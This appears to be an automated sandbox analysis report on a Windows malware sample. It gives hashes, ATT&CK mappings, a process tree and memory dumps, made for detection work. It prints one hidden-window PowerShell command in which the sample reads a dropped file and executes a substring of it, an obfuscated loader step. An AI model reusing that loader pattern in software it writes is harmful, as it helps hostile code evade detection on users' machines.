68e7f4d2bf863ba81f7df626105d057cce0280693d8d1c6229d5a5b7a5b13ac3

Analysis

max time kernel
147s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
04-07-2024 01:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

68e7f4d2bf863ba81f7df626105d057cce0280693d8d1c6229d5a5b7a5b13ac3.exe
Size

914KB
MD5

685957fc8d1cb9176598abbd85f01b88
SHA1

3d32596650fce3cf7687bbbc72caffc821d25887
SHA256

68e7f4d2bf863ba81f7df626105d057cce0280693d8d1c6229d5a5b7a5b13ac3
SHA512

f111150ea54da60ba4eed011b2acb3918a53075c45cb28f084b045bf94662e6af5f609b2f549cc38eb65d823699a5f70bca77fa5dbd864fc895c298b62f75e32
SSDEEP

12288:+BfOreqYlj4XT9/VPsvkf3kLXUuq9HyBbqpqfyl0fGXJ9BqNJowksVg:QOreqYJWfqEukLEO0fG5vq7H+

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

1384 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

4656 1384 WerFault.exe powershell.exe
Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exe

pid process

1384 powershell.exe
1384 powershell.exe
1384 powershell.exe
1384 powershell.exe
1384 powershell.exe
1384 powershell.exe
1384 powershell.exe
1384 powershell.exe
1384 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1384 powershell.exe

pid	process
1384	powershell.exe

pid	pid_target	process	target process
4656	1384	WerFault.exe	powershell.exe

pid	process
1384	powershell.exe
1384	powershell.exe
1384	powershell.exe
1384	powershell.exe
1384	powershell.exe
1384	powershell.exe
1384	powershell.exe
1384	powershell.exe
1384	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1384	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

68e7f4d2bf863ba81f7df626105d057cce0280693d8d1c6229d5a5b7a5b13ac3.exe

description	pid	process	target process
PID 3068 wrote to memory of 1384	3068	68e7f4d2bf863ba81f7df626105d057cce0280693d8d1c6229d5a5b7a5b13ac3.exe	powershell.exe
PID 3068 wrote to memory of 1384	3068	68e7f4d2bf863ba81f7df626105d057cce0280693d8d1c6229d5a5b7a5b13ac3.exe	powershell.exe
PID 3068 wrote to memory of 1384	3068	68e7f4d2bf863ba81f7df626105d057cce0280693d8d1c6229d5a5b7a5b13ac3.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\68e7f4d2bf863ba81f7df626105d057cce0280693d8d1c6229d5a5b7a5b13ac3.exe
"C:\Users\Admin\AppData\Local\Temp\68e7f4d2bf863ba81f7df626105d057cce0280693d8d1c6229d5a5b7a5b13ac3.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3068

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Solert=Get-Content 'C:\Users\Admin\AppData\Local\twinsomeness\Carl.Ste';$Tudehornene=$Solert.SubString(59503,3);.$Tudehornene($Solert)"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1384

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1384 -s 2456
3⤵
- Program crash
PID:4656

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1384 -ip 1384
1⤵
PID:3812

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wqm5qsrj.fah.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\twinsomeness\Carl.Ste
Filesize
68KB

MD5
14007bbf3c87abdfd3a69719009624dd

SHA1
0766cab9e60ddaa8bcd341e23ba6d7be5507533c

SHA256
22149260143dfca383be6daedad36ebf48a522d1bc86405ef46ebfcc524bb45f

SHA512
80b33f204d558513d8097068f3f211700dbd91927467d388e849d455f1b4550c5b4f97f4bbd216d97a637881cdfb433dbeb56b3408c904984a619563ca3e2396

Download Submit
memory/1384-13-0x0000000073ED0000-0x0000000074680000-memory.dmp

Filesize
7.7MB

Download
memory/1384-28-0x0000000006080000-0x00000000060CC000-memory.dmp

Filesize
304KB

Download
memory/1384-9-0x0000000073EDE000-0x0000000073EDF000-memory.dmp

Filesize
4KB

Download
memory/1384-14-0x0000000005080000-0x00000000050A2000-memory.dmp

Filesize
136KB

Download
memory/1384-16-0x00000000058F0000-0x0000000005956000-memory.dmp

Filesize
408KB

Download
memory/1384-15-0x0000000005810000-0x0000000005876000-memory.dmp

Filesize
408KB

Download
memory/1384-11-0x0000000073ED0000-0x0000000074680000-memory.dmp

Filesize
7.7MB

Download
memory/1384-26-0x0000000005A60000-0x0000000005DB4000-memory.dmp

Filesize
3.3MB

Download
memory/1384-27-0x0000000006040000-0x000000000605E000-memory.dmp

Filesize
120KB

Download
memory/1384-12-0x00000000051E0000-0x0000000005808000-memory.dmp

Filesize
6.2MB

Download
memory/1384-29-0x00000000065C0000-0x0000000006656000-memory.dmp

Filesize
600KB

Download
memory/1384-30-0x0000000006560000-0x000000000657A000-memory.dmp

Filesize
104KB

Download
memory/1384-31-0x0000000007030000-0x0000000007052000-memory.dmp

Filesize
136KB

Download
memory/1384-32-0x0000000007610000-0x0000000007BB4000-memory.dmp

Filesize
5.6MB

Download
memory/1384-10-0x0000000002A50000-0x0000000002A86000-memory.dmp

Filesize
216KB

Download
memory/1384-34-0x0000000008240000-0x00000000088BA000-memory.dmp

Filesize
6.5MB

Download
memory/1384-36-0x0000000073ED0000-0x0000000074680000-memory.dmp

Filesize
7.7MB

Download